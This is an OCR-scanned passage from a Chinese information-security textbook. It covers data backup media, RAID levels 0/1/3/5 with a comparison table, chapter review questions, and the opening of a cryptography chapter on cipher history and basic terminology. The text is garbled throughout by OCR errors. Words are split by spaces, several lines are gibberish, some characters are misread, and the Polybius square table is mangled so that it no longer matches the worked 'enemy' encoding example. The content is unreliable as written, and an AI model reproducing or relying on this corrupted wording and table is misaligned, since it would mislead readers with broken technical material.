足 的 是 这 些 驱动 器 的 通用 性 不 是 很 好 。 

(3) 一 次 性 可 刻录 光盘 驱动 器 (CD Recordable,CD-R)。 这 些 只 能 写 一 次 可 以 读 多 次 的 
光盘 的 容量 大 约 为 650MB。 尽 管 光盘 不 能 重复 刻录 ,许多 人 还 是 用 它们 来 备份 ,因为 现在 
空 的 可 刻录 光盘 的 价格 非常 低 。 可 刻录 光盘 有 一 个 很 大 的 优点 就 是 备份 数据 可 以 用 普通 的 
光盘 驱动 器 来 读 取 。 并 不 建议 用 这 种 方式 来 备份 数据 ,原因 在 于 随 着 数据 量 的 增长 ,存储 介 
质 的 成 本 会 越 来 越 高 。 

(4) 可 重复 刻录 光盘 驱动 器 (CD Rewriteable,CD-RW)。 与 移动 等 价 硬盘 驱动 器 非常 
相似 。CD-RW 有 许多 把 它 作 为 常用 存储 媒介 的 理由 , 它 的 灵活 性 非常 好 ,可 以 在 刻录 机 上 
刻录 ,然后 在 光盘 驱动 器 或 者 播放 音乐 的 CD 机 上 读 取 , 但 是 并 不 建议 把 它 作 为 严格 的 备份 
介质 。 
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4. 可 移动 硬盘 备份 

要 建立 可 移动 硬盘 备份 只 需 购 买 特定 的 硬盘 盒 就 可 以 了 。 硬 盘 盒 中 可 放置 一 块 或 多 块 
硬盘 。 在 购买 硬盘 盒 的 时 候 ,销售 商 通常 还 会 提供 给 用 户 相 应 的 适配器 和 电缆 。 将 适配器 
接 人 计算 机 中 (通常 为 标准 总 线 接 口 PCI ISA 等 ) ,然后 用 电缆 把 适配器 和 硬盘 盒 连 接 起 
来 ,用 户 就 可 以 方便 地 进行 备份 或 恢复 工作 了 。 可 移动 硬盘 备份 的 工作 过 程 就 跟 老式 的 磁 
带 唱 机 一 样 。 

这 种 类 型 的 备份 系统 是 一 种 很 好 的 备份 解决 方案 ,虽然 购买 多 余 的 硬盘 用 来 备份 显得 
有 点 贵 ,但 是 平均 起 来 用 这 种 备份 方法 备份 数据 的 价格 是 非常 低 的 。 可 移动 硬盘 备份 有 下 
列 许多 优点 : 很 高 的 性 能 ,很 强 的 随机 访问 能 力 ,标准 化 接口 . 易 交 换 性 和 可 靠 性 。 

当然 可 移动 硬盘 备份 也 有 很 多 缺点 。 跟 磁带 设备 相 比 ,购买 附加 的 备份 介质 并 不 是 很 
便宜 。 硬 盘 相 对 来 说 是 很 脆弱 的 。 例 如 ,存放 在 其 中 的 数据 可 能 会 因 移动 硬盘 被 摔 而 被 损 
坏 (这 一 缺点 对 于 其 他 几 种 大 容量 的 可 移动 存储 驱动 器 也 是 存在 的 )。 

5. 本 机 多 硬盘 备份 


对 于 那些 在 自己 的 计算 机 中 有 多 块 硬盘 的 用 户 来 说 ,一 种 备份 解决 方案 是 用 其 中 的 一 
块 或 多 块 运行 操作 系统 和 应 用 程序 ,再 用 剩余 的 其 他 硬盘 来 备份 。 硬 盘 和 硬盘 之 间 的 数据 
复制 可 以 用 文件 复制 工具 实现 ,也 可 以 用 磁盘 复制 工具 实现 。 本 机 多 硬盘 备份 在 许多 情形 
下 工作 得 很 好 ,当然 它 也 有 一 些 限制 。 其 优点 在 于 使 用 简便 ,可 配置 为 自动 完成 备份 工作 。 
磁盘 到 磁盘 的 复制 性 能 非常 高 ,相应 的 费用 却 很 低 。 

本 机 硬盘 备份 的 缺点 也 是 非常 致命 的 。 首 先 , 它 不 能 保护 硬盘 上 的 数据 遭受 很 多 方面 
的 威胁 ,如 火灾 、 小 偷 . 计 算 机 病毒 等 ; 其 次 ,用 本 机 硬盘 备份 只 能 有 一 个 备份 数据 ,这 使 得 
整个 系统 很 脆弱 。 

总 之 ,不 建议 用 本 机 硬盘 备份 作为 唯一 的 备份 手段 。 最 好 的 解决 方法 是 它 跟 一 种 可 移 
动 备份 方法 结合 起 来 使 用 。 

6. 网 络 备份 


对 于 处 在 网 络 中 的 计算 机 系统 来 说 ,网 络 备份 是 可 移动 备份 方法 的 一 个 很 好 替代 。 这 
种 备份 方法 常用 来 给 没有 磁带 驱动 器 和 其 他 可 移动 备份 介质 的 中 小 型 计算 机 做 备份 。 网 络 
备份 的 思路 很 简单 : 把 计算 机 系统 中 的 数据 复制 到 处 在 网 络 中 的 另外 一 台 计算 机 中 。 

在 复制 数据 的 时 候 , 网 络 备份 跟 本 机 多 硬盘 备份 非常 相似 ,使 用 一 样 简单 ,一样 能 配置 
成 自动 执行 备份 任务 。 然 而 ,依赖 于 各 个 计算 机 在 实际 中 的 位 置 ,小 偷 . 自 然 灾害 等 仍然 是 
个 大 问题 。 还 要 注意 的 一 点 是 ,计算 机 病毒 也 能 在 网 络 上 传播 。 

网 络 备份 在 许多 企业 环境 中 的 使 用 越 来 越 多 。 企 业 通 常用 一 种 集中 的 可 移动 存储 设备 
作为 备份 介质 ,自动 地 备份 整个 网 络 中 的 数据 。 网 络 备份 的 缺点 是 备份 时 给 网 络 造成 的 拥 
挤 现象 非常 严重 ,而 且 备份 数据 所 需 花 费 的 时 间 过 分 依赖 于 网 络 的 传输 速度 。 


2.3.3 磁盘 阵列 技术 简介 


磁盘 阵列 (RAID) 技 术 是 由 美国 加 州 大 学 伯克利 分 校 的 Patterson 教授 在 1988 年 提出 
fy. RAID 是 Redundant Array of Inexpensive Disks 的 缩写 ,直译 为 “廉价 元 余 磁 盘 阵 列 ”， 
也 简称 “磁盘 阵列 ”。 后 来 RAID 中 的 字母 1 被 改作 了 Independent, RAID 就 成 了 “独立 元 余 
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磁盘 阵列 ”, 但 这 只 是 名 称 的 变化 ,实质 性 的 内 容 并 没有 改变 。RAID 技术 是 利用 若干 台 小 
型 硬 磁盘 驱动 器 加 上 控制 器 按 一 定 的 组 合 条 件 而 组 成 的 一 个 大 容量 .快速 响应 .高 可 靠 的 存 
储 子 系统 。 

不 仅 由 于 可 有 多 人 台 驱 动 器 并 行 工作 ,大 大 提高 了 存储 容量 和 数据 传输 率 ,而 且 还 由 于 采 
用 了 纠 错 技术 提高 了 可 靠 性 。RAID 按 工 作 模式 可 分 为 RAID 0、RAID 1,RAID 2,RAID 3, 
RAID 4、RAID 5,RAID 6、RAID 7、RAID 10、RAID 53 等 级 别 ,这 里 只 介绍 常用 的 几 个 
RAID 级 别 。 

1. RAID 0 


无 元 余 .无 校 验 的 磁盘 阵列 。RAID 0 至 少 使 用 两 个 磁盘 驱动 器 ,并 将 数据 分 成 从 512 
字 节 到 数 兆 字 节 的 若干 块 (数据 条 带 ) ,这 些 数据 块 被 交替 写 到 磁盘 中 。 第 1 段 被 写 到 磁盘 
1 中 ,第 2 段 被 写 到 磁盘 2 中 ,等 等 。 当 系统 到 达 阵 列 中 的 最 后 一 个 磁盘 时 ,就 写 到 磁盘 1 
的 下 一 分 段 , 以 下 如 此 。 分 割 数据 将 1/O 负载 平均 分 配 到 所 有 的 驱动 器 。 由 于 驱动 器 可 以 
同时 写 或 读 ,因此 性 能 得 以 显著 提高 。 但 是 , 它 却 没有 数据 保护 能 力 ,如果 一 个 磁盘 出 故障 ， 
数据 就 会 丢失 。RAID 0 不 适用 于 对 可 靠 性 要 求 高 的 关键 任务 环境 ,但 却 非常 适合 于 对 性 
能 要 求 较 高 的 视频 或 图 像 编 辑 。 

2. RAID 1 

镜像 磁盘 阵列 。 每 一 个 磁盘 驱动 器 都 有 一 个 镜像 磁盘 驱动 器 ,镜像 磁盘 驱动 器 随时 保 
持 与 原 磁 盘 驱动 器 的 内 容 一 致 。RAID 1 具有 较 高 的 安全 性 ,但 只 有 一 半 的 磁盘 空间 被 用 
来 存储 数据 。 为 了 实时 保持 镜像 磁盘 数据 的 一 致 性 ,RAID 1 磁盘 控制 器 的 负载 相当 大 ,在 
此 性 能 上 没有 提高 。RAID 1 主要 用 在 对 数据 安全 性 要 求 很 高 ,而 且 要 求 能 够 快速 恢复 被 
损坏 的 数据 的 场合 。 

3. RAID3 


带 奇 偶 校 验 码 的 并 行 传送 。RAID 3 使 用 一 个 专门 的 磁盘 存放 所 有 的 校 验 数据 ,而 在 
剩余 的 磁盘 中 创建 带 区 集 分 散 数据 的 读 写 操作 。 当 从 一 个 完好 的 RAID 3 系统 中 读 取 数据 
时 ,只 需要 在 数据 存储 盘 中 找到 相应 的 数据 块 进行 读 取 操 作 即 可 。 但 当 向 RAID 3 写 入 数 
据 时 ,必须 计算 与 该 数据 块 同 处 一 个 带 区 的 所 有 数据 块 的 校 验 值 ,并 将 新 值 重 新 写 入 校 验 块 
中 ,这 样 无 形 中 增加 了 系统 开销 。 

当 一 块 磁盘 失效 时 ,该 磁盘 上 的 所 有 数据 块 必须 使 用 校 验 信息 重新 建立 ,如 果 所 要 读 取 
的 数据 块 正好 位 于 已 经 损坏 的 磁盘 处 , 则 必须 同时 读 取 同 一 带 区 中 的 所 有 其 他 数据 块 ,并 根 
据 校 验 值 重建 丢失 的 数据 ,这 样 会 使 系统 速度 减 慢 。RAID 3 最 大 的 不 足 是 校 验 盘 很 容易 
成 为 整个 系统 的 瓶颈 ,对 于 经 常会 有 大 量 写 入 操作 的 应 用 会 导致 整个 RAID 系统 性 能 的 下 
BE, RAID 3 适合 用 于 数据 密集 型 环境 或 单一 用 户 环境 ,尤其 有 益 于 要 访问 较 长 的 连续 记 
录 , 如 数据 库 和 Web 服务 器 等 。 

4. RAID 5 


无 独立 校 验 盘 的 奇偶 校 验 磁盘 阵列 。RAID 5 把 校 验 块 分 散 到 所 有 的 数据 盘 中 。 
RAID 5 使 用 了 一 种 特殊 的 算法 ,可 以 计算 出 任何 一 个 带 区 校 验 块 的 存放 位 置 , 这 样 就 可 以 
确保 任何 对 校 验 块 进行 的 读 写 操作 都 会 在 所 有 的 RAID 磁盘 中 进行 均衡 ,从 而 消除 了 产生 
瓶颈 的 可 能 。RAID 5 能 提供 较为 完美 的 整体 性 能 ,因而 也 是 被 广泛 应 用 的 一 种 磁盘 阵列 
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方案 。 它 适合 于 1/O 密集 ,高 读 / 写 比率 的 应 用 程序 ,如 事务 处 理 等 。 为 了 具有 RAID 5 级 
的 元 余 度 ,至 少 需要 3 个 磁盘 组 成 的 磁盘 阵列 。RAID 5 可 以 通过 磁盘 阵列 控制 器 硬件 实 
现 , 也 可 以 通过 某 些 网 络 操作 系统 软件 实现 。 

从 RAID 1 到 RAID 5 的 几 种 方案 中 ,不论 何 时 有 磁盘 损坏 ,都 可 以 随时 拔 出 损坏 的 磁 
盘 再 插入 好 的 磁盘 (需要 硬件 上 的 热 插 拔 支 持 ) ,数据 不 会 受 损 , 失 效 盘 的 内 容 可 以 很 快 地 重 
建 ,重建 的 工作 也 由 RAID 硬件 或 RAID 软件 来 完成 。 但 RAID 0 不 提供 错误 校 验 功能 ,所 
以 有 人 说 它 不 能 算 作 RAID, 其 实 这 也 是 RAID 0 为 什么 被 称 为 0 级 RAID 的 原因 (0 本 身 
就 代表 “没有 ”)。 以 上 介绍 的 RAID 级 别 性 能 比较 如 表 2-3 所 示 。 


表 2-3 常用 的 RAID 级 别 的 特征 


特 征 RAIDO RAIDI RAID3 RAIDS 
容错 性 无 有 有 有 
宛 余 类 型 无 复制 奇偶 校 验 奇偶 校 验 
热 备份 选择 无 有 有 有 
硬盘 要 求 一 个 或 多 个 偶数 个 至 少 3 个 至 少 3 个 
有 效 硬盘 容量 全 部 硬盘 容量 硬盘 容量 的 50% 硬盘 容量 的 硬盘 容量 的 


(n—1)/n (n—1)/n 


对 于 当前 的 PC, 整 个 系统 的 速度 瓶颈 主要 是 硬盘 。 在 PC 中 ,磁盘 速度 慢 一 些 并 不 是 
太 严 重 的 事情 。 但 在 服务 器 中 ,这 是 不 允许 的 ,服务 器 必须 能 响应 来 自 四 面 八 方 的 服务 请 
求 ,这 些 请 求 大 多 与 磁盘 上 的 数据 有 关 , 所 以 服务 器 的 磁盘 子 系统 必须 要 有 很 高 的 输入 输出 
速率 。 为 了 数据 的 安全 ,RAID 还 要 有 一 定 的 容错 功能 。RAID 提供 的 容错 功能 是 自动 实现 
的 (由 RAID 硬件 或 是 RAID 软件 来 做 ) , 它 对 应 用 程序 是 透明 的 , 即 无 须 应 用 程序 为 容错 做 
半点 工作 。RAID 提供 了 这 些 功能 ,所 以 RAID 被 广泛 地 应 用 在 服务 器 体系 中 。 

要 得 到 最 高 的 安全 性 和 最 快 的 恢复 速度 ,可 以 使 用 RAID 1。 要 在 容量 、 容 错 和 性 能 上 
WaT EAT VE RAID 5。 在 大 多 数 数 据 库 服务 器 中 ,操作 系统 和 数据 库 管理 系统 所 在 的 磁 
盘 驱动 器 是 RAID 1 ,数据 库 的 数据 文件 则 存放 于 RAID 5 的 磁盘 驱动 器 上 o 


本 章 小 结 


(1) 物理 安全 是 针对 计算 机 网 络 系统 的 硬件 设施 来 说 的 , 既 包 括 计算 机 网 络 设备 、 设 
施 、 环 境 等 存在 的 安全 威胁 ,也 包括 在 物理 介质 上 数据 存储 和 传输 存在 的 安全 问题 。 物 理 安 
全 是 计算 机 网 络 系统 安全 的 基本 保障 ,是 信息 安全 的 基础 。 

(2) 环境 安全 是 指 对 系统 所 在 环境 (如 设备 的 运行 环境 需要 适当 的 温度 ,湿度 ,尽量 少 
的 烟尘 ,不 间断 电源 保障 等 ) 的 安全 保护 。 环 境 安全 技术 是 指 确保 物理 设备 安全 .可 靠 运行 
的 技术 、 要 求 措施 和 规范 的 总 和 ,主要 包括 机 房 安 全 设计 和 机 房 环境 安全 措施 。 

G) 广义 的 设备 安全 包括 物理 设备 的 防盗, 防止 自然 灾害 或 设备 本 身 原因 导致 的 毁坏 ， 
防止 电磁 信息 辐射 导致 的 信息 的 泄露 ,防止 线路 截获 导致 的 信息 的 毁坏 和 自 改 , 抗 电磁 干扰 
和 电源 保护 等 措施 。 狭 义 的 设备 安全 是 指 用 物理 手段 保障 计算 机 系统 或 网 络 系统 安全 的 各 
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种 技术 。 常 见 的 物理 设备 安全 技术 有 访问 控制 技术 、 防 复制 技术 、 硬件 防 辐射 技术 以 及 通 
信 线 路 安全 技术 。 

(4) 媒体 安全 主要 包括 媒体 数据 的 安全 及 媒体 本 身 的 安全 ,数据 备份 是 实现 媒体 安全 
的 主要 技术 。 数 据 备份 是 把 文件 或 数据 库 从 原来 存储 的 地 方 复制 到 其 他 地 方 的 操作 ,其 目 
的 是 为 了 在 设备 发 生 故 障 或 发 生 其 他 威胁 数据 安全 的 灾害 时 保护 数据 ,将 数据 遭受 破坏 的 
程度 减 到 最 小 。 


. 什么 是 物理 安全 ? 包括 哪些 内 容 ? 

. 机房 安 全 设计 包括 哪些 内 容 ? 

. 简 述 计算 机 防 辐 射 泄露 的 常用 措施 。 

. 简 述 TEMPEST 标准 。 

. 数据 备份 的 种 类 有 哪些 ?分 别 适 用 于 什么 场合 ? 
. 数据 备份 常用 的 方法 有 哪些 ? 

. 简 述 RAID 0,RAID 1,RAID 3,RAID 5 方案。 


aane UNBE 


BIM 信息 保密 技术 


随 着 计算 机 和 通信 网 络 的 广泛 应 用 ,特别 是 电子 商务 的 快速 发 展 , 信 息 的 安全 性 受到 人 
们 的 普遍 重视 ,大 量 的 敏感 信息 (如 银行 账号 、 商 务 交易 、 网 上 报税 以 及 个 人 信息 等 ) 需 要 通 
过 网 络 进 行 传输 ,这 些 信息 对 用 户 来 讲 需要 保密 。 因 此 ,密码 技术 是 信息 安全 的 基础 ,是 保 
护 数 据 不 可 或 缺 的 重要 工具 ,在 信息 安全 领域 占有 重要 地 位 。 


3.1 密码 学 的 发 展 历程 


人 类 早 在 远古 时 期 就 有 了 相互 隐瞒 信息 的 想法 ,自从 有 了 文字 来 表达 人 们 的 思想 开始 ， 
人 类 就 懂得 了 如 何 用 文字 与 他 人 分 享 信息 以 及 用 文字 秘密 传递 信息 的 方法 ,这 就 催生 了 信 
息 保密 科学 的 诞生 和 发 展 。 密 码 学 的 发 展 可 以 追溯 到 4000 年 前 ,其 发 展 历史 比较 悠久 。 密 
码 学 的 发 展 大 致 经 历 了 手工 加 密 、 机 械 加 密 和 计算 机 加 密 3 个 阶段 。 

1. 手工 加 密 阶 段 

早 在 公元 前 1900 年 左右 ,一 位 佚名 的 埃及 书 吏 在 碑文 中 使 用 了 非 标准 的 象形 文字 。 据 
推测 ,这些 “秘密 书写 ?是 为 了 给 幕 主 的 生活 增加 神秘 气氛 ,从 而 提高 他 们 的 声望 。 这 可 能 是 
最 早 有 关 密码 的 记载 了 。 

公元 前 1500 年 左右 , 美 索 不 达 米 亚 人 在 一 块 板 上 记录 了 被 加 密 的 陶器 上 釉 规则 。 

公元 前 600 一 500 年 , 希 伯 来 人 设计 了 3 种 不 同 的 加 密 方法 ,它们 都 以 替换 为 基本 原理 ， 

-个 字母 表 的 字母 与 另 一 个 字母 表 的 字母 配对 ,通过 用 相配 对 的 字母 替换 明文 的 每 个 字母 ， 

从 而 生成 密 文 。 

公元 前 500 年 左右 , 古 希 腊 斯 巴 达 出 现 了 原始 的 密码 器 ,其 方法 是 用 一 条 带子 缠绕 在 一 
根木 棍 ( 手 杖 ) 上 , 沿 手杖 纵 轴 方 向 写 上 文字 , 解 下 来 的 带子 上 便 是 些 杂 乱 无 章 的 符号 , 称 为 
斯 巴 达 手杖 ,如 图 3-1 所 示 。 和 解密 者 只 需 找 到 相同 的 手杖 ,再 把 带子 缠绕 上 去 , 沿 手杖 纵 轴 
方向 即 可 读 出 原文 。 


图 3-1 斯 巴 达 手杖 
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根据 4 论 要塞 的 防护 》( 希 腊 人 Aeneas Tacticus 著 ) 一 书记 载 ,公元 前 2 世纪 ,一 个 叫 
Polybius 的 希腊 人 设计 了 一 种 表格 ,他 使 用 了 将 字母 编码 成 符号 的 方法 ,人 们 将 该 表 称 为 
Polybius 校 验 表 ,如 表 3-1 所 示 。 将 每 个 字母 表示 成 两 位 数 ,其 中 第 一 个 数字 表示 字母 所 在 
的 行 数 ,第 二 个 数字 表示 字母 所 在 的 列 数 ,如 字母 A 对 应 *11”, 字 母 B 对 应 “12”, 字 母 C 对 
应 “13” 等 。 明 文 “enemy” 被 表示 成 一 串 数字 , 即 1533153254。 


表 3-1 Polybius 校 验 表 


1 2 3 4 5 
i A B Cc E 
2 F G H VJ K 
3 I M N oO P 
4 Q R S T U 
5 V Ww X Y Z 


公元 前 100 年 左右 ,著名 的 凯撒 (CCaesar) 密 码 被 应 用 于 战争 中 , 它 是 最 简单 的 一 种 加 密 
办 法 , 即 用 单字 母 来 代替 明文 中 的 字母 。 

公元 800 年 左右 ,阿拉 伯 密 码 学 家 阿尔 。 金 迪 提出 解密 的 频率 分 析 方 法 , 即 通过 分 析 计 
算 密 文中 字母 出 现 的 频率 来 破译 密码 。 

公元 16 世纪 中 期 ,意大利 数学 家 卡尔 达 诺 (Cardano) 发 明了 卡尔 达 诺 漏 板 ,将 其 覆盖 在 
密 文 上 ,可 从 漏 板 中 读 出 明文 ,这 是 较 早 的 一 种 分 置式 密码 。 

我 国 很 早 就 出 现 了 藏 头 诗 、 藏 尾 诗 、 漏 格 诗 及 绘画 等 ,人 们 将 要 表达 的 真正 意思 隐藏 在 
诗 文 或 画卷 中 ,一 般 人 只 注意 诗 或 画 自 身 表 达 的 意境 ,而 不 会 去 注意 或 很 难 发 现 隐 藏 在 其 中 
的 “ 诗 外 之 音 ”。 

古典 密码 的 加 密 方 法 一 般 是 采用 文字 置换 ,主要 使 用 手工 方式 实现 ,因此 称 这 一 时 期 为 
密码 学 发 展 的 手工 加 密 阶段 。 

2. 机 械 加 密 阶段 

20 世纪 20 年 代 , 随 着 机 械 和 机 电 技 术 的 成 熟 , 以 及 电报 和 无 线 电 技术 的 出 现 ,引起 了 
密码 设备 的 一 场 革命 一 一 转 轮 密码 机 的 发 明 。 转 轮 密码 机 的 出 现 是 密码 学 的 重要 标志 之 
一 。 通 过 硬件 卷 绕 可 实现 从 转 轮 密码 机 的 一 边 到 另 一 边 的 单字 母 代替 ,将 多 个 这 样 的 转 轮 
密码 机 连接 起 来 , 便 可 实现 几乎 任何 复杂 度 的 多 个 字母 代替 。 随 着 转 轮 密码 机 的 出 现 ,传统 
密码 学 有 了 很 大 的 进展 ,利用 机 械 转 轮 密 码 机 可 以 开发 出 极其 复杂 的 加 密 系统 。 

1921 年 以 后 ,Hebern 构造 了 一 系列 稳步 改进 的 转 轮 密码 机 ,并 将 其 投入 美国 海军 的 试 
用 评估 中 ,并 申请 了 美国 转 轮 密码 机 的 专利 。 这 种 装置 在 随后 的 近 50 年 里 被 指定 为 美军 的 
主要 密码 设备 。 

在 Hebern 发 明 转 轮 密码 机 的 同时 ,欧洲 的 工程 师 ( 如 荷兰 的 Hugo Koch、 德 国 的 
Arthur Scherbius) 都 独立 地 提出 了 转 轮 密码 机 的 概念 。Arthur Scherbius 于 1919 年 设计 
了 历史 上 著名 的 转 轮 密码 机 一 一 德国 的 Enigma 机 。 在 第 二 次 世界 大 战 期 间 ,Enigma 机 曾 
作为 德国 海 、 陆 、 空 三 军 中 最 高 级 的 密码 机 。 英 军 从 1942 年 2 一 12 月 都 没 能 解 出 德国 潜艇 
发 出 的 信号 。 因 此 ,随后 英国 发 明 并 使 用 了 德国 的 Enigma 机 的 改进 型 密码 机 , 它 在 英 军 通 
信 中 被 广泛 使 用 ,并 帮助 英 军 破译 了 德军 信号 。 转 轮 密码 机 的 使 用 大 大 提高 了 密码 加 密 速 
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度 ,但 由 于 密 钥 量 有 限 ,在 第 二 次 世界 大 战 中 后 期 , 它 引 出 了 一 场 关于 加 密 与 破译 的 对 抗 。 
第 二 次 世界 大 战 期 间 ,波兰 人 和 英国 人 破译 了 Enigma 密码 ,美国 密码 分 析 者 破译 了 日 本 的 
RED、ORANGE 和 PURPLE 密码 ,这 对 盟 军 获胜 起 到 了 关键 的 作用 ,是 密码 分 析 史 上 最 伟 
大 的 成 功 。 

3. 计算 机 加 密 阶段 

计算 机 科学 的 发 展 刺激 和 推动 了 密码 学 进入 计算 机 加 密 阶 段 。 一 方面 ,电子 计算 机 成 
为 破译 密码 的 有 力 武器 ; 另 一 方面 ,计算 机 和 电子 学 给 密码 的 设计 带 来 了 前 所 未 有 的 自由 ， 
利用 计算 机 可 以 轻易 地 摆脱 原先 用 铅笔 和 纸 进行 手工 设计 时 易 犯 的 错误 ,也 不 用 面 对 机 械 
式 转 轮 机 实现 方式 的 高 额 费用 。 利 用 计算 机 还 可 以 设计 出 更 为 复杂 的 密码 系统 。 

在 1949 年 以 前 出 现 的 密码 技术 还 算 不 上 真正 的 科学 , 那 时 的 密码 专家 常常 是 凭借 直觉 
进行 密码 设计 和 分 析 的 。1949 年 ,Shannon 发 表 了 《保密 系统 的 通信 理论 ), 为 密码 学 的 发 
展 葛 定 了 理论 基础 ,使 密码 学 成 为 一 门 真 正 的 科学 。1949 一 1975 年 ,密码 学 主要 研究 单 钥 
密码 体制 , 且 发 展 比较 缓慢 。1976 年 ,Diffie 和 Hellman 发 表 了 《密码 学 的 新 方向 ) 一 文 , 提 
出 了 一 种 新 的 密码 设计 思想 ,从 而 开创 了 公 钥 密码 学 的 新 纪元 。1977 年 ,美国 国家 技术 标 
准 局 (NIST) 正 式 公 布 了 数据 加 密 标 准 (Data Encryption Standard, DES), 将 DES 算法 公 
开 , 揭 开 了 密码 学 的 神秘 面纱 ,大 大 推动 了 密码 学 理论 的 发 展 和 技术 应 用 。 

近 十 多 年 来 ,由 于 现实 生活 的 实际 需要 及 计算 技术 的 发 展 ,密码 学 的 每 一 个 研究 领域 都 
出 现 了 许多 新 的 课题 。 例 如 ,在 分 组 密码 领域 ,以 往 人 们 认为 安全 的 DES 算法 ,在 新 的 分 析 
法 及 计算 技术 面前 已 被 证 明 不 再 安全 了 。 于 是 ,美国 于 1997 年 1 月 开始 征集 新 一 代数 据 加 
密 标准 , 即 高 级 数据 加 密 标准 (Advanced Encryption Standard,AES)。 目 前 ,AES 征集 活动 
已 经 选择 了 比利时 密码 学 家 设计 的 Rijndael 算法 作为 新 一 代数 据 加 密 标准 , 且 该 征集 活动 
在 密码 界 又 掀起 了 一 次 分 组 密码 研究 的 高 潮 。 同 时 ,在 公 钥 密码 领域 ,椭圆 曲线 密码 体制 由 
于 具有 安全 性 高 ,计算 速度 快 等 优点 而 引起 了 人 们 的 普遍 关注 ,一 些 新 的 公 钥 密码 体制 (如 
基于 格 的 公 钥 体制 NTRU、 基 于 身份 的 和 无 证 书 的 公 钥 密码 体制 ) 相 继 被 提出 。 在 数字 签 
名 方面 ,各 种 有 不 同 实际 应 用 背景 的 签名 方案 (如 盲 签 名 、 群 签名 、 环 签名 指定 验证 人 签名 、 
聚合 签名 等 ) 不 断 出 现 。 在 应 用 方面 ,各 种 有 实用 价值 的 密码 体制 的 快速 实现 受到 了 专家 的 
高 度 重视 ,许多 密码 标准 应 用 软件 和 产品 被 开发 和 应 用 。 一 些 国 家 (如 美国 .中 国 等 ) 已 经 
颁布 了 数字 签名 法 ,使 数字 签名 在 电子 商务 和 电子 政务 等 领域 得 到 了 法 律 的 认可 。 随 着 其 
他 技术 的 发 展 ,一 些 具 有 潜在 密码 应 用 价值 的 技术 也 得 到 了 密码 学 家 的 重视 ,出 现 了 一 些 新 
的 密码 技术 ,如 混沌 密码 ,量子 密码 .DNA 密码 等 。 现 在 ,密码 学 的 研究 和 应 用 已 大 规模 地 
扩展 到 了 民用 方面 。 


3.2 密码 学 中 的 基本 术语 


密码 学 的 英文 为 Cryptography. AK W T h Æ AAAY Kruptos 和 Graphein, 和 希腊 语 
的 原意 是 隐 写 术 ,即将 易 懂 的 信息 (如 文字 ) 通 过 一 些 变换 转换 成 难以 理解 的 信息 (如 令 人 费 
解 的 符号 ) 。 密 码 学 研究 进行 保密 通信 和 如 何 实现 信息 保密 的 问题 ,具体 指 通信 保密 传输 和 
信息 存储 加 密 等 。 它 以 认识 密码 变换 的 本 质 、 研 究 密码 保密 与 破译 的 基本 规律 为 对 象 , 主 要 
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以 可 靠 的 数学 方法 和 理论 为 基础 ,对 解决 信息 安全 中 的 机 密 性 ,数据 完整 性 ,认证 和 身份 识 
别 , 对 信息 的 可 控 性 及 不 可 抵赖 性 等 问题 提供 系统 的 理论 .方法 和 技术 。 密 码 学 包括 两 个 分 
支 : 密码 编码 学 和 密码 分 析 学 。 密 码 编码 学 研究 对 信息 进行 编码 ,实现 对 信息 的 隐藏 ， 密 
码 分 析 学 研究 加 密 消息 的 破译 或 消息 的 伪造 。 下 面 是 密码 学 中 一 些 常 用 的 术语 。 

(1) 明文 (Plaintext/Message) : 指 待 加 密 的 信息 ,用 PP 或 M 表示 。 明 文 可 以 是 文本 文 
ME .图 形 .数字 化 存储 的 语音 流 或 数字 化 的 视频 图 像 的 比特 流 等 。 

(2) 密 文 (Ciphertext) : 指明 文 经 过 加 密 处 理 后 的 形式 ,用 C 表示 。 

(3) 加 密 (Encryption) : 指 用 某 种 方法 伪装 消息 以 隐藏 它 的 内 容 的 过 程 。 

(4) 加 密 算 法 (Encryption Algorithm); 指 将 明文 变换 为 密 文 的 变换 函数 ,通常 用 书 
表示 。 

(5) 解密 (Decryption) : 指 把 密 文 转换 成 明文 的 过 程 。 

(6) 解密 算法 (Decryption Algorithm); 指 将 密 文 变换 为 明文 的 变换 函数 ,通常 用 DD 
表示 。 

(7) 密 钥 (Key) : 变换 函数 所 用 的 一 个 控制 参数 。 加 密 和 解密 算法 的 操作 通常 是 在 一 
组 密 钥 控制 下 进行 的 ,分 别称 为 加 密 密 钥 和 解密 密 钥 , 通 常用 K 表示 。 

(8) 密码 分 析 (Cryptanalysis) : 指 截获 密 文 者 试图 通过 分 析 截 获 的 密 文 从 而 推断 出 原 
来 的 明文 或 密 钥 的 过 程 。 

(9) 被 动 攻击 (Passive Attack) : 指 对 一 个 保密 系统 采取 截获 密 文 并 对 其 进行 分 析 和 攻 
击 。 这 种 攻击 对 密 文 没有 破坏 作用 。 

(10) 主动 攻击 (Active Attack): 指 攻击 者 非法 侵入 一 个 密码 系统 ,采用 伪造 ,修改 、 删 
除 等 手段 向 系统 注入 假 消息 进行 欺骗 。 这 种 攻击 对 密 文具 有 破坏 作用 。 

(11) 密码 系统 (Cryptosystem): 指 用 于 加 密 和 解密 的 系统 。 加 密 时 ,系统 输入 明文 和 
加 密 密 钥 ,加密 变换 后 ,输出 密 文 ; 解密 时 ,系统 输入 密 文 和 解密 密 钥 ,解密 变换 后 ,输出 明 
文 。 在 基于 密码 的 保密 系统 中 ,为 了 便于 研究 其 一 般 规律 ,通常 将 密码 系统 抽象 为 如 图 3-2 
所 示 的 一 般 模型 。 


主动 攻击 m~ 被动 攻击 
一 | 已 mam | C = z P 
信 源 一 =| ”加 密 变 换 C=Ex(P) 一 | 解密 变换 P=Dx(C) =| 


K fx 
密 钥 密 钥 


ir 
mt 


图 3-2 密码 系统 模型 


(12) 密码 体制 : 密码 系统 采用 的 基本 工作 方式 称 为 密码 体制 。 密 码 体 制 的 要 素 是 密 
码 算法 和 密 钥 。 根 据 密 钥 的 使 用 方式 和 密码 算法 的 加 密 方式 可 以 对 密码 系统 进行 不 同 的 
分 类 。 

柯 克 霍 夫 ( Kerckhoff) 原 则 : 密码 系统 的 安全 性 取决 于 密 钥 ,而 不 是 密码 算法 , 即 密码 
算法 要 公开 。 柯 克 霍 夫 原则 是 荷兰 密码 学 家 Kerckhoff 于 1883 年 在 名 著 《军事 密码 学 ) 中 
提出 的 基本 假设 。 遵 循 这 个 假设 的 好 处 是 : 它 是 评估 算法 安全 性 唯一 可 用 的 方式 。 因 为 如 
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果 密 码 算 法 保密 ,密码 算法 的 安全 强度 就 无 法 进行 评估 ; 防止 算法 设计 者 在 算法 中 隐藏 后 
门 。 因 为 算法 被 公开 后 ,密码 学 家 可 以 研究 分 析 其 是 否 存在 漏洞 ,同时 也 接受 攻击 者 的 检 
